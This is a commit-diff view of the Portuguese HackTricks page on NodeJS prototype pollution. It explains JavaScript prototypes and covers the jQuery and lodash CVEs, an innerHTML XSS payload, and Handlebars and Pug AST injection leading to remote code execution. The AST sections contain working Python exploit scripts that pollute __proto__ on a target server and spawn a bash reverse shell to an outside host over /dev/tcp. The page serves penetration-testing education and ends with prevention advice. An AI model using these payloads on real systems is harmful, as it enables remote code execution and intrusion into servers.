Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-27 23:20:49 +00:00
Code Issues Projects Releases Packages Wiki Activity

Translated ['pentesting-web/deserialization/nodejs-proto-prototype-pollu

Browse source
This commit is contained in:
Translator 2024-01-01 18:32:14 +00:00
parent 445287f0b0
commit e553394b9f
22 changed files with 1513 additions and 1645 deletions
Show stats Download patch file Download diff file Expand all files Collapse all files

415
pentesting-web/deserialization/nodejs-proto-prototype-pollution/README.md
View file

@ -1,92 +1,59 @@
# NodeJS - \_\_proto\_\_ e prototype Pollution
# NodeJS - \_\_proto\_\_ & prototype Pollution
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
Outras formas de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Participe do grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou do grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## Objetos em JavaScript <a href="#053a" id="053a"></a>
Antes de tudo, precisamos entender o `Object` em JavaScript. Um objeto é simplesmente uma coleção de pares de chave e valor, frequentemente chamados de propriedades desse objeto. Por exemplo:
Primeiramente, precisamos entender `Object` em JavaScript. Um objeto é simplesmente uma coleção de pares de chave e valor, frequentemente chamados de propriedades desse objeto. Por exemplo:
![](<../../../.gitbook/assets/image (389) (1).png>)
Em JavaScript, `Object` é um objeto básico, o modelo para todos os objetos recém-criados. É possível criar um objeto vazio passando `null` para `Object.create`. No entanto, o objeto recém-criado também terá um tipo que corresponde ao parâmetro passado e herda todas as propriedades básicas.
Em Javascript, `Object` é um objeto básico, o modelo para todos os objetos recém-criados. É possível criar um objeto vazio passando `null` para `Object.create`. No entanto, o objeto recém-criado também terá um tipo que corresponde ao parâmetro passado e herda todas as propriedades básicas.
```javascript
console.log(Object.create(null)); // prints an empty object
```
![](<../../../.gitbook/assets/image (360).png>)
Anteriormente, aprendemos que um objeto em javascript é uma coleção de chaves e valores, então faz sentido que um objeto `null` seja apenas um dicionário vazio: `{}`.
Anteriormente, aprendemos que um Objeto em javascript é uma coleção de chaves e valores, então faz sentido que um objeto `null` seja apenas um dicionário vazio: `{}`
## Funções / Classes em Javascript <a href="#55dd" id="55dd"></a>
Em Javascript, os conceitos de classe e função são bastante inter-relacionados (a própria função age como o construtor da classe e a natureza real não tem conceito de "classe" em javascript). Vamos ver o seguinte exemplo:
Em Javascript, os conceitos de classe e função são bastante inter-relacionados (a própria função atua como construtor para a classe e a natureza real não tem o conceito de "classe" em javascript). Vamos ver o seguinte exemplo:
```javascript
function person(fullName, age) {
this.age = age;
this.fullName = fullName;
this.details = function() {
return this.fullName + " has age: " + this.age;
}
this.age = age;
this.fullName = fullName;
this.details = function() {
return this.fullName + " has age: " + this.age;
}
}
```
# Deserialização Perigosa em Node.js: Poluição de Protótipo
## Descrição
A poluição de protótipo é uma vulnerabilidade de deserialização que permite que um invasor adicione ou modificar propriedades de um objeto em tempo de execução. Isso pode levar a uma variedade de ataques, como a execução remota de código (RCE), a escalada de privilégios e a divulgação de informações confidenciais.
Essa vulnerabilidade ocorre quando um aplicativo Node.js desserializa dados de entrada sem validar adequadamente seu conteúdo. Um invasor pode enviar dados maliciosos que incluem propriedades especiais que afetam o protótipo do objeto desserializado. Isso pode levar a uma poluição de protótipo, onde o invasor pode adicionar ou modificar propriedades do objeto que não deveriam ser modificadas.
## Detalhes Técnicos
A poluição de protótipo pode ocorrer em objetos JavaScript que possuem um protótipo mutável. Isso inclui objetos criados com a função `Object.create()` e funções construtoras personalizadas que definem propriedades no protótipo do objeto.
Um invasor pode explorar essa vulnerabilidade enviando dados maliciosos que incluem propriedades especiais, como `__proto__` ou `constructor`, que afetam o protótipo do objeto desserializado. Isso pode levar a uma poluição de protótipo, onde o invasor pode adicionar ou modificar propriedades do objeto que não deveriam ser modificadas.
## Exemplo de Ataque
Considere o seguinte código Node.js que desserializa dados JSON de entrada:
```javascript
const data = JSON.parse(req.body);
```
Se o objeto JSON de entrada contiver uma propriedade `__proto__`, um invasor pode adicionar ou modificar propriedades do protótipo do objeto desserializado:
```json
{
"__proto__": {
"admin": true
}
}
```
Isso adicionaria uma propriedade `admin` ao protótipo do objeto desserializado, permitindo que o invasor acesse recursos restritos ou execute código arbitrário com privilégios elevados.
## Solução
Para evitar a poluição de protótipo, é importante validar cuidadosamente todos os dados de entrada que são desserializados em objetos JavaScript. Isso pode incluir a validação de tipos de dados, a filtragem de propriedades indesejadas e a utilização de bibliotecas de desserialização seguras.
Além disso, é recomendável evitar o uso de objetos mutáveis com protótipos personalizados em aplicativos Node.js. Em vez disso, considere o uso de objetos imutáveis ou objetos com protótipos nativos que não podem ser modificados.
![](<../../../.gitbook/assets/image (361).png>)
```javascript
var person1 = new person("Satoshi", 70);
```
```markdown
![](<../../../.gitbook/assets/image (362).png>)
## Protótipos em JavaScript <a href="#3843" id="3843"></a>
Uma coisa a se notar é que o atributo prototype pode ser alterado/modificado/excluído durante a execução do código. Por exemplo, funções da classe podem ser adicionadas dinamicamente:
É importante notar que o atributo prototype pode ser alterado/modificado/excluído durante a execução do código. Por exemplo, funções podem ser adicionadas dinamicamente à classe:
![](<../../../.gitbook/assets/image (363).png>)
Funções da classe também podem ser modificadas (como `toString` ou `valueOf` nos seguintes casos):
Funções da classe também podem ser modificadas (como `toString` ou `valueOf` nos casos a seguir):
![](<../../../.gitbook/assets/image (364).png>)
@ -96,30 +63,31 @@ Funções da classe também podem ser modificadas (como `toString` ou `valueOf`
Em um programa baseado em protótipos, objetos herdam propriedades/métodos de classes. As classes são derivadas adicionando propriedades/métodos a uma instância de outra classe ou adicionando-os a um objeto vazio.
Observe que, se você adicionar uma propriedade a um objeto que é usado como protótipo para um conjunto de objetos (como o myPersonObj), os objetos para os quais ele é o protótipo também receberão a nova propriedade, mas essa propriedade não será impressa a menos que seja especificamente chamada.
Note que, se você adicionar uma propriedade a um objeto que é usado como protótipo para um conjunto de objetos (como o myPersonObj), os objetos para os quais ele é o protótipo também recebem a nova propriedade, mas essa propriedade não é impressa a menos que seja especificamente chamada.
![](<../../../.gitbook/assets/image (366).png>)
## Poluição de \_\_proto\_\_ <a href="#0d0a" id="0d0a"></a>
Você já deve ter aprendido que **cada objeto em JavaScript é simplesmente uma coleção de pares chave-valor** e que **cada objeto herda do tipo Object em JavaScript**. Isso significa que, se você puder poluir o tipo Object, **cada objeto JavaScript do ambiente será poluído!**
Você já deve ter aprendido que **todo objeto em JavaScript é simplesmente uma coleção de pares de chave e valor** e que **todo objeto herda do tipo Object em JavaScript**. Isso significa que, se você conseguir poluir o tipo Object, **cada objeto JavaScript do ambiente será poluído!**
Isso é bastante simples, você só precisa ser capaz de modificar algumas propriedades (pares chave-valor) de um objeto JavaScript arbitrário, porque como cada objeto herda de Object, cada objeto pode acessar o esquema Object.
Isso é bastante simples, você só precisa ser capaz de modificar algumas propriedades (pares de chave-valor) de um objeto JavaScript arbitrário, porque como cada objeto herda de Object, cada objeto pode acessar o esquema de Object.
```
```javascript
function person(fullName) {
this.fullName = fullName;
this.fullName = fullName;
}
var person1 = new person("Satoshi");
```
Do exemplo anterior, é possível acessar a estrutura do objeto usando as seguintes maneiras:
Do exemplo anterior, é possível acessar a estrutura do Object usando as seguintes maneiras:
```javascript
person1.__proto__.__proto__
person.__proto__.__proto__
```
Então, como mencionado anteriormente, se uma propriedade for adicionada ao esquema do objeto, todos os objetos JavaScript terão acesso à nova propriedade:
Então, como mencionado anteriormente, se agora uma propriedade for adicionada ao esquema Object, todo objeto JavaScript terá acesso à nova propriedade:
```javascript
function person(fullName) {
this.fullName = fullName;
this.fullName = fullName;
}
var person1 = new person("Satoshi");
//Add function as new property
@ -129,16 +97,16 @@ person1.printHello() //This now works and prints hello
person1.__proto__.__proto__.globalconstant = true
person1.globalconstant //This now works and is "true"
```
Agora cada objeto JS conterá as novas propriedades: a função `printHello` e a nova constante `globalconstant`.
Agora, cada objeto JS conterá as novas propriedades: a função `printHello` e a nova constante `globalconstant`
## poluição de protótipo
Essa técnica não é tão eficaz quanto a anterior, pois você não pode poluir o esquema do objeto JS. Mas em casos em que a **palavra-chave `__proto__` é proibida, essa técnica pode ser útil**.
Esta técnica não é tão eficaz quanto a anterior, pois você não pode poluir o esquema do Objeto JS. Mas em casos onde a **palavra-chave `__proto__` é proibida, esta técnica pode ser útil**.
Se você puder modificar as propriedades de uma função, poderá modificar a propriedade `prototype` da função e **cada nova propriedade que você adicionar aqui será herdada por cada objeto criado a partir dessa função:**
Se você consegue modificar as propriedades de uma função, pode modificar a propriedade `prototype` da função e **cada nova propriedade que você adicionar aqui será herdada por cada objeto criado a partir dessa função:**
```javascript
function person(fullName) {
this.fullName = fullName;
this.fullName = fullName;
}
var person1 = new person("Satoshi");
//Add function as new property
@ -154,49 +122,49 @@ person1.constructor.prototype.newConstant = true
```
Neste caso, apenas os **objetos criados a partir da classe `person`** serão afetados, mas cada um deles agora **herdará as propriedades `sayHello` e `newConstant`**.
Existem **2 maneiras de abusar da poluição de protótipos para contaminar TODOS os objetos JS**.
**Existem 2 maneiras de abusar da poluição de protótipo para envenenar TODOS os objetos JS.**
A primeira seria poluir o protótipo da propriedade do **Object** (como mencionado anteriormente, todos os objetos JS herdam deste):
A primeira seria poluir a propriedade prototype do **Object** (como mencionado anteriormente, todo objeto JS herda deste):
```javascript
Object.prototype.sayBye = function(){console.log("bye!")}
```
Se você conseguir fazer isso, cada objeto JS será capaz de executar a função `sayBye`.
Outra maneira é poluir o protótipo de um construtor de uma variável de dicionário como no exemplo a seguir:
A outra maneira é envenenar o protótipo de um construtor de uma variável dicionário como no exemplo a seguir:
```javascript
something = {"a": "b"}
something.constructor.prototype.sayHey = function(){console.log("Hey!")}
```
Depois de executar esse código, **cada objeto JS será capaz de executar a função `sayHey`**.
Após executar esse código, **cada objeto JS poderá executar a função `sayHey`**.
## Poluindo outros objetos
### De uma classe para Object.prototype
Em um cenário onde você pode **poluir um objeto específico** e precisa **chegar a `Object.prototype`**, você pode procurá-lo com algo como o seguinte código:
Em um cenário onde você pode **poluir um objeto específico** e precisa **chegar a `Object.prototype`**, você pode procurá-lo com um código semelhante ao seguinte:
```javascript
// From https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/
// Search from "window" object
for(let key of Object.getOwnPropertyNames(window)) {
if (window[key]?.constructor.prototype === Object.prototype) {
console.log(key)
}
if (window[key]?.constructor.prototype === Object.prototype) {
console.log(key)
}
}
// Imagine that the original object was document.querySelector('a')
// With this code you could find some attributes to get the object "window" from that one
for(let key1 in document.querySelector('a')) {
for(let key2 in document.querySelector('a')[key1]) {
if (document.querySelector('a')[key1][key2] === window) {
console.log(key1 + "." + key2)
}
}
for(let key2 in document.querySelector('a')[key1]) {
if (document.querySelector('a')[key1][key2] === window) {
console.log(key1 + "." + key2)
}
}
}
```
### Poluição de elementos de array
Observe que, assim como é possível poluir atributos de objetos em JS, se você tiver acesso para poluir um array, também pode **poluir valores do array** acessíveis **por índices** (observe que você não pode sobrescrever valores, então é necessário poluir índices que são de alguma forma usados, mas não escritos).
Note que, assim como você pode poluir atributos de objetos em JS, se você tiver acesso para poluir um array, você também pode **poluir valores do array** acessíveis **por índices** (note que você não pode sobrescrever valores, então você precisa poluir índices que são de alguma forma usados, mas não escritos).
```javascript
c = [1,2]
a = []
@ -208,7 +176,7 @@ c[1] // 2 -- not
```
### Poluição de elementos HTML
Ao gerar um elemento HTML via JS, é possível **sobrescrever** o atributo **`innerHTML`** para escrever **código HTML arbitrário**. [Idea e exemplo deste writeup](https://blog.huli.tw/2022/04/25/en/intigriti-0422-xss-challenge-author-writeup/).
Ao gerar um elemento HTML via JS, é possível **sobrescrever** o atributo **`innerHTML`** para fazer com que ele escreva **código HTML arbitrário.** [Ideia e exemplo deste artigo](https://blog.huli.tw/2022/04/25/en/intigriti-0422-xss-challenge-author-writeup/).
{% code overflow="wrap" %}
```javascript
@ -227,62 +195,64 @@ settings[root][ownerDocument][body][innerHTML]="<svg onload=alert(document.domai
### Exemplo Básico
Então, onde está a poluição de protótipos? Isso acontece quando há um bug na aplicação que torna possível sobrescrever propriedades de `Object.prototype`. Como todo objeto típico herda suas propriedades de `Object.prototype`, podemos mudar o comportamento da aplicação. O exemplo mais comumente mostrado é o seguinte:
Então, onde ocorre a poluição de protótipo? Acontece quando há um bug na aplicação que permite sobrescrever propriedades de `Object.prototype`. Como todo objeto típico herda suas propriedades de `Object.prototype`, podemos alterar o comportamento da aplicação. O exemplo mais comumente mostrado é o seguinte:
```javascript
if (user.isAdmin) { // do something important!}
```
Imagine que temos uma poluição de protótipo que torna possível definir `Object.prototype.isAdmin = true`. Então, a menos que a aplicação atribua explicitamente algum valor, `user.isAdmin` será sempre verdadeiro!
Imagine que temos uma poluição de protótipo que torna possível definir `Object.prototype.isAdmin = true`. Então, a menos que a aplicação tenha atribuído explicitamente algum valor, `user.isAdmin` é sempre verdadeiro!
Por exemplo, `obj[a][b] = value`. Se o atacante puder controlar o valor de `a` e `value`, então ele só precisa ajustar o valor de `a` para `__proto__` (em javascript, `obj["__proto__"]` e `obj.__proto__` são completamente equivalentes) então a propriedade `b` de todos os objetos existentes na aplicação será atribuída a `value`.
![](https://research.securitum.com/wp-content/uploads/sites/2/2019/10/image-1.png)
No entanto, o ataque não é tão simples como o acima, de acordo com [paper](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript\_prototype\_pollution\_attack\_in\_NodeJS.pdf), só podemos atacar quando uma das seguintes três condições for atendida:
Por exemplo, `obj[a][b] = value`. Se o atacante pode controlar o valor de `a` e `value`, então ele só precisa ajustar o valor de `a` para `__proto__` (em javascript, `obj["__proto__"]` e `obj.__proto__` são completamente equivalentes), então a propriedade `b` de todos os objetos existentes na aplicação será atribuída a `value`.
* Realizar mesclagem recursiva
No entanto, o ataque não é tão simples quanto o acima, de acordo com o [paper](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf), só podemos atacar quando uma das seguintes três condições for atendida:
* Realizar merge recursivo
* Definição de propriedade por caminho
* Clonar objeto
### Substituir função
### Sobrescrever função
```python
customer.__proto__.toString = ()=>{alert("polluted")}
```
### Proto Pollution para RCE
### Poluição de Protótipo para RCE
{% content-ref url="prototype-pollution-to-rce.md" %}
[prototype-pollution-to-rce.md](prototype-pollution-to-rce.md)
{% endcontent-ref %}
## Proto Pollution do lado do cliente para XSS
## Poluição de protótipo do lado do cliente para XSS
{% content-ref url="client-side-prototype-pollution.md" %}
[client-side-prototype-pollution.md](client-side-prototype-pollution.md)
{% endcontent-ref %}
### CVE-2019–11358: Ataque de proto pollution através do jQuery $ .extend
### CVE-2019–11358: Ataque de poluição de protótipo através do jQuery $ .extend
$ .extend, se manipulado incorretamente, pode alterar as propriedades do objeto `prototype` (o modelo dos objetos no aplicativo). Este atributo aparecerá em todos os objetos. Observe que apenas a versão "profunda" (ou seja, g) do $ .extened é afetada.
$ .extend, se manipulado incorretamente, pode alterar as propriedades do objeto `prototype` (o modelo dos objetos no aplicativo). Esse atributo aparecerá então em todos os objetos. Note que apenas a versão "profunda" (ou seja, g) do $ .extend é afetada.
Os programadores frequentemente usam essa função para duplicar um objeto ou preencher novas propriedades a partir de um objeto padrão. Por exemplo:
Programadores frequentemente usam essa função para duplicar um objeto ou preencher novas propriedades a partir de um objeto padrão. Por exemplo:
Podemos imaginar que `myObject` é um campo de entrada do usuário e é serializado no BD.
Podemos imaginar que `myObject` é um campo de entrada do usuário e é serializado no BD)
Neste código, frequentemente pensamos que, ao executar, atribuirá o atributo `isAdmin` ao objeto recém-criado. Mas essencialmente, ele é atribuído diretamente a `{}` e, em seguida, `{}.isAdmin` será `true`. Se após este código, realizarmos a seguinte verificação:
Neste código, costumamos pensar que, ao executar, atribuirá o atributo `isAdmin` ao objeto recém-criado. Mas essencialmente, ele é atribuído diretamente a `{}` e então `{}.isAdmin` será `true`. Se após este código, realizarmos a seguinte verificação:
```javascript
If (user.isAdmin === true) {
// do something for admin
// do something for admin
}
```
Se o usuário ainda não existir (`undefined`), a propriedade `isAdmin` será procurada em seu objeto pai, que é o objeto adicionado `isAdmin` com o valor `true` acima.
Se o usuário ainda não existir (`undefined`), a propriedade `isAdmin` será procurada em seu objeto pai, que é o Objeto ao qual foi adicionado `isAdmin` com o valor `true` acima.
Outro exemplo quando executado no JQuery 3.3.1:
```javascript
$.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'))
console.log({}.devMode); // true
```
Esses erros podem afetar muitos projetos Javascript, especialmente projetos NodeJS, o exemplo mais prático é o erro no Mongoose, a biblioteca JS que ajuda a manipular o MongoDB, em dezembro de 2018.
Esses erros podem afetar muitos projetos Javascript, especialmente projetos NodeJS, o exemplo mais prático é o erro no Mongoose, a biblioteca JS que ajuda a manipular MongoDB, em dezembro de 2018.
### CVE-2018–3721, CVE-2019–10744: Ataque de poluição de protótipo através do lodash
[Lodash](https://www.npmjs.com/package/lodash) também é uma biblioteca bem conhecida que fornece muitas funções diferentes, ajudando-nos a escrever código de forma mais conveniente e organizada, com mais de 19 milhões de downloads semanais. E ele teve o mesmo problema que o JQuery.
[Lodash](https://www.npmjs.com/package/lodash) é também uma biblioteca bem conhecida que fornece muitas funções diferentes, ajudando-nos a escrever código de forma mais conveniente e mais organizada com mais de 19 milhões de downloads semanais. E teve o mesmo problema que o JQuery.
**CVE-2018–3721**
@ -294,145 +264,150 @@ Este bug afeta todas as versões do Lodash, já corrigido na versão 4.17.11.
{% embed url="https://infosecwriteups.com/javascript-prototype-pollution-practice-of-finding-and-exploitation-f97284333b2" %}
## AST Prototype Pollution
## Poluição de Protótipo AST
No NodeJS, o AST é usado no JS com muita frequência, como motores de modelo e typescript etc.\
Para o motor de modelo, a estrutura é mostrada acima.
No NodeJS, AST é usado em JS com muita frequência, como motores de template e typescript etc.\
Para o motor de template, a estrutura é como mostrado acima.
![img](https://blog.p6.is/img/2020/08/graph\_3.jpg)
![img](https://blog.p6.is/img/2020/08/graph_3.jpg)
### Handlebars
Informações retiradas de [https://blog.p6.is/AST-Injection/](https://blog.p6.is/AST-Injection/)
Você pode inserir qualquer string em `Object.prototype.pendingContent` para determinar a possibilidade de um ataque.\
Isso permite que você tenha certeza de que os servidores estão usando o motor handlebars quando uma poluição de protótipo existe em um ambiente de caixa preta.
Isso permite que você tenha certeza de que servidores estão usando o motor handlebars quando existe uma poluição de protótipo em um ambiente de caixa-preta.
```javascript
<!-- /node_modules/handlebars/dist/cjs/handlebars/compiler/javascript-compiler.js -->
...
appendContent: function appendContent(content) {
if (this.pendingContent) {
content = this.pendingContent + content;
} else {
this.pendingLocation = this.source.currentLocation;
}
if (this.pendingContent) {
content = this.pendingContent + content;
} else {
this.pendingLocation = this.source.currentLocation;
}
this.pendingContent = content;
this.pendingContent = content;
},
pushSource: function pushSource(source) {
if (this.pendingContent) {
this.source.push(this.appendToBuffer(this.source.quotedString(this.pendingContent), this.pendingLocation));
this.pendingContent = undefined;
}
if (this.pendingContent) {
this.source.push(this.appendToBuffer(this.source.quotedString(this.pendingContent), this.pendingLocation));
this.pendingContent = undefined;
}
if (source) {
this.source.push(source);
}
if (source) {
this.source.push(source);
}
}
...
```
Isso é feito pela função `appendContent` do arquivo `javascript-compiler.js`. `appendContent` é o seguinte: se `pendingContent` estiver presente, anexa ao conteúdo e retorna.
```markdown
Isso é feito pela função `appendContent` de `javascript-compiler.js`\
`appendContent` é assim. Se `pendingContent` estiver presente, anexa ao conteúdo e retorna.
`pushSource` torna o `pendingContent` indefinido, impedindo que a string seja inserida várias vezes.
`pushSource` faz com que o `pendingContent` se torne `undefined`, impedindo que a string seja inserida várias vezes.
**Exploração**
![img](https://blog.p6.is/img/2020/08/graph\_5.jpg)
![img](https://blog.p6.is/img/2020/08/graph_5.jpg)
Handlebars funcionam como mostrado no gráfico acima.
Handlebars funciona conforme mostrado no gráfico acima.
Após o lexer e o parser gerarem o AST, ele é passado para o `compiler.js`. Podemos executar a função de modelo que o compilador gerou com alguns argumentos. E ele retorna a string como "Hello posix" (quando msg é posix).
Após o lexer e o parser gerarem a AST, ela é passada para `compiler.js`\
Podemos executar a função de template gerada pelo compilador com alguns argumentos. E ela retorna a string como "Hello posix" (quando msg é posix)
```
```javascript
<!-- /node_modules/handlebars/dist/cjs/handlebars/compiler/parser.js -->
case 36:
this.$ = { type: 'NumberLiteral', value: Number($$[$0]), original: Number($$[$0]), loc: yy.locInfo(this._$) };
break;
this.$ = { type: 'NumberLiteral', value: Number($$[$0]), original: Number($$[$0]), loc: yy.locInfo(this._$) };
break;
```
O analisador em handlebars força o valor de um nó cujo tipo é NumberLiteral a ser sempre um número através do construtor Number. No entanto, você pode inserir uma string não numérica aqui usando a poluição de protótipo.
O analisador no handlebars força o valor de um nó cujo tipo é NumberLiteral a ser sempre um número através do construtor Number. No entanto, você pode inserir uma string não numérica aqui usando a poluição de protótipo.
```javascript
<!-- /node_modules/handlebars/dist/cjs/handlebars/compiler/base.js -->
function parseWithoutProcessing(input, options) {
// Just return if an already-compiled AST was passed in.
if (input.type === 'Program') {
return input;
}
// Just return if an already-compiled AST was passed in.
if (input.type === 'Program') {
return input;
}
_parser2['default'].yy = yy;
_parser2['default'].yy = yy;
// Altering the shared object here, but this is ok as parser is a sync operation
yy.locInfo = function (locInfo) {
return new yy.SourceLocation(options && options.srcName, locInfo);
};
// Altering the shared object here, but this is ok as parser is a sync operation
yy.locInfo = function (locInfo) {
return new yy.SourceLocation(options && options.srcName, locInfo);
};
var ast = _parser2['default'].parse(input);
var ast = _parser2['default'].parse(input);
return ast;
return ast;
}
function parse(input, options) {
var ast = parseWithoutProcessing(input, options);
var strip = new _whitespaceControl2['default'](options);
var ast = parseWithoutProcessing(input, options);
var strip = new _whitespaceControl2['default'](options);
return strip.accept(ast);
return strip.accept(ast);
}
```
Primeiro, olhe para a função de compilação, que suporta duas formas de entrada, o objeto AST e a string de modelo.
Primeiro, observe a função compile, que suporta duas formas de entrada, Objeto AST e string de template.
Quando o tipo de entrada é um `Program`, embora o valor de entrada seja uma string. O parser considera que já foi analisado pelo parser.js e o envia para o compilador sem nenhum processamento.
quando input.type é um `Program`, embora o valor de entrada seja na verdade uma string.\
O Parser considera que já é um AST analisado pelo parser.js e o envia para o compilador sem nenhum processamento.
```javascript
<!-- /node_modules/handlebars/dist/cjs/handlebars/compiler/compiler.js -->
...
accept: function accept(node) {
/* istanbul ignore next: Sanity code */
if (!this[node.type]) {
throw new _exception2['default']('Unknown type: ' + node.type, node);
}
/* istanbul ignore next: Sanity code */
if (!this[node.type]) {
throw new _exception2['default']('Unknown type: ' + node.type, node);
}
this.sourceNode.unshift(node);
var ret = this[node.type](node);
this.sourceNode.shift();
return ret;
this.sourceNode.unshift(node);
var ret = this[node.type](node);
this.sourceNode.shift();
return ret;
},
Program: function Program(program) {
console.log((new Error).stack)
this.options.blockParams.unshift(program.blockParams);
console.log((new Error).stack)
this.options.blockParams.unshift(program.blockParams);
var body = program.body,
bodyLength = body.length;
for (var i = 0; i < bodyLength; i++) {
this.accept(body[i]);
}
var body = program.body,
bodyLength = body.length;
for (var i = 0; i < bodyLength; i++) {
this.accept(body[i]);
}
this.options.blockParams.shift();
this.options.blockParams.shift();
this.isSimple = bodyLength === 1;
this.blockParams = program.blockParams ? program.blockParams.length : 0;
this.isSimple = bodyLength === 1;
this.blockParams = program.blockParams ? program.blockParams.length : 0;
return this;
return this;
}
```
O compilador recebe o objeto AST (na verdade, uma string) e o envia para o método `accept`.\
E `accept` chama `this[node.type]` do compilador.\
Em seguida, o atributo body do AST é usado para construir a função.
O compilador, dado o Objeto AST (na verdade uma string), envia-o para o método `accept`.\
e `accept` chama `this[node.type]` do Compiler.\
Em seguida, pega o atributo body do AST e o utiliza para construir a função.
```javascript
const Handlebars = require('handlebars');
Object.prototype.type = 'Program';
Object.prototype.body = [{
"type": "MustacheStatement",
"path": 0,
"params": [{
"type": "NumberLiteral",
"value": "console.log(process.mainModule.require('child_process').execSync('id').toString())"
}],
"loc": {
"start": 0,
"end": 0
}
"type": "MustacheStatement",
"path": 0,
"params": [{
"type": "NumberLiteral",
"value": "console.log(process.mainModule.require('child_process').execSync('id').toString())"
}],
"loc": {
"start": 0,
"end": 0
}
}];
@ -443,26 +418,26 @@ console.log(eval('(' + template + ')')['main'].toString());
/*
function (container, depth0, helpers, partials, data) {
var stack1, lookupProperty = container.lookupProperty || function (parent, propertyName) {
if (Object.prototype.hasOwnProperty.call(parent, propertyName)) {
return parent[propertyName];
}
return undefined
};
var stack1, lookupProperty = container.lookupProperty || function (parent, propertyName) {
if (Object.prototype.hasOwnProperty.call(parent, propertyName)) {
return parent[propertyName];
}
return undefined
};
return ((stack1 = (lookupProperty(helpers, "undefined") || (depth0 && lookupProperty(depth0, "undefined")) || container.hooks.helperMissing).call(depth0 != null ? depth0 : (container.nullContext || {}), console.log(process.mainModule.require('child_process').execSync('id').toString()), {
"name": "undefined",
"hash": {},
"data": data,
"loc": {
"start": 0,
"end": 0
}
})) != null ? stack1 : "");
return ((stack1 = (lookupProperty(helpers, "undefined") || (depth0 && lookupProperty(depth0, "undefined")) || container.hooks.helperMissing).call(depth0 != null ? depth0 : (container.nullContext || {}), console.log(process.mainModule.require('child_process').execSync('id').toString()), {
"name": "undefined",
"hash": {},
"data": data,
"loc": {
"start": 0,
"end": 0
}
})) != null ? stack1 : "");
}
*/
```
Como resultado, um ataque pode ser configurado da seguinte forma. Se você passou pelo analisador, especifique uma string que não pode ser atribuída ao valor de NumberLiteral. Mas, se o AST injetado for processado, podemos inserir qualquer código na função.
Como resultado, um ataque pode ser configurado assim. Se você passou pelo parser, especifique uma string que não pode ser atribuída ao valor de NumberLiteral. Mas com o AST injetado processado, podemos inserir qualquer código na função.
**Exemplo**
@ -474,19 +449,19 @@ TARGET_URL = 'http://p6.is:3000'
# make pollution
requests.post(TARGET_URL + '/vulnerable', json = {
"__proto__.type": "Program",
"__proto__.body": [{
"type": "MustacheStatement",
"path": 0,
"params": [{
"type": "NumberLiteral",
"value": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
}],
"loc": {
"start": 0,
"end": 0
}
}]
"__proto__.type": "Program",
"__proto__.body": [{
"type": "MustacheStatement",
"path": 0,
"params": [{
"type": "NumberLiteral",
"value": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
}],
"loc": {
"start": 0,
"end": 0
}
}]
})
# execute
@ -502,10 +477,10 @@ TARGET_URL = 'http://p6.is:3000'
# make pollution
requests.post(TARGET_URL + '/vulnerable', json = {
"__proto__.block": {
"type": "Text",
"line": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
}
"__proto__.block": {
"type": "Text",
"line": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
}
})
# execute
@ -513,12 +488,12 @@ requests.get(TARGET_URL)
```
## O que posso fazer para prevenir?
* Congele as propriedades com Object.freeze (Object.prototype)
* Realize validação nas entradas JSON de acordo com o esquema da aplicação
* Evite usar funções de mesclagem recursiva de maneira insegura
* Use objetos sem propriedades de protótipo, como `Object.create(null)`, para evitar afetar a cadeia de protótipos
* Use `Map` em vez de `Object`
